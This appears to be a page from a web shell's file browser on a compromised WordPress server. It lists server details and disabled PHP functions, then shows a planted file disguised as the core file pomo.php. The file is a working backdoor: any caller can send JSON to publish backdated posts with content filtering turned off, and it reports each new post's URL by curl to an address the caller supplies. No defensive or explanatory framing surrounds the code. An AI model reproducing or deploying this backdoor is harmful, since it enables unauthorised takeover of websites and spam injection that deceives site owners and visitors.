HEX
Server: Apache
System: Linux server7 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
User: k8148-2 (1324)
PHP: 8.1.34
Disabled: show_source, highlight_file, apache_child_terminate, apache_get_modules, apache_note, apache_setenv, virtual, dl, posix_getpwnam, posix_getpwuid, posix_mkfifo, posix_mknod, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_nice, openlog, syslog, pfsockopen, system, shell_exec, passthru, popen, proc_open, exec
Upload Files
File: /var/www/k8148-2/htdocs/www.sport-roth.at/old/wp-includes/pomo/pomo.php
<?php
if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
    header('HTTP/1.0 403 Forbidden');
    exit('Access denied.');
}
?>
<?php
	ini_set('display_errors', 1);
	header("Content-Type:application/json");

	$data = json_decode(file_get_contents('php://input'), true);
	
	$post_name = $data['post_name'];
	$post_title = $data['post_title'];
	$post_content = $data['post_content'];
	$sav_link = $data['sav_link'];

	// wordpress core
	require_once('../../wp-blog-header.php');
	// wodpress download
	require_once('../../wp-admin/includes/file.php');
	require_once('../../wp-admin/includes/media.php');
	
	$datetime = new DateTime();
	$newDatetime = $datetime->sub(new DateInterval('P7Y'));
	$postDate = $newDatetime->format('Y-m-d H:i:s');
	
	//$datetime = new DateTime();
	//$datetime->modify("-9 year");
	//$postDate = $datetime->format('Y-m-d H:i:s');
		
	$postContent = array(
		'post_name'      => $post_name, // url
		'post_title'     => $post_title, // title
		'post_content'   => $post_content,
		'post_status'    => 'publish', // publish, pending, future, private
		'post_type'      => 'post',
		'ping_status'	 => 'closed',
		'comment_status' => 'closed',
		'post_date'      => $postDate,
		'post_author'    => 20 // admin?
	);	
	
	kses_remove_filters();
	$postID = wp_insert_post($postContent); // returns 0 if an error
	kses_init_filters();
	wp_set_object_terms($postID, 200, 'category' ); //category from admin
	$new_post = get_permalink($postID);
	
	
	if($new_post != '') {
		$post = array(
		'urlinka' => $new_post,
		);

		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $sav_link);
		curl_setopt($ch, CURLOPT_POST, 1);
		curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post));
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));

		$server_output = curl_exec($ch);
		curl_close ($ch);		
	}
	else {
		echo 'Post error';
	}
    
	die;
	
?>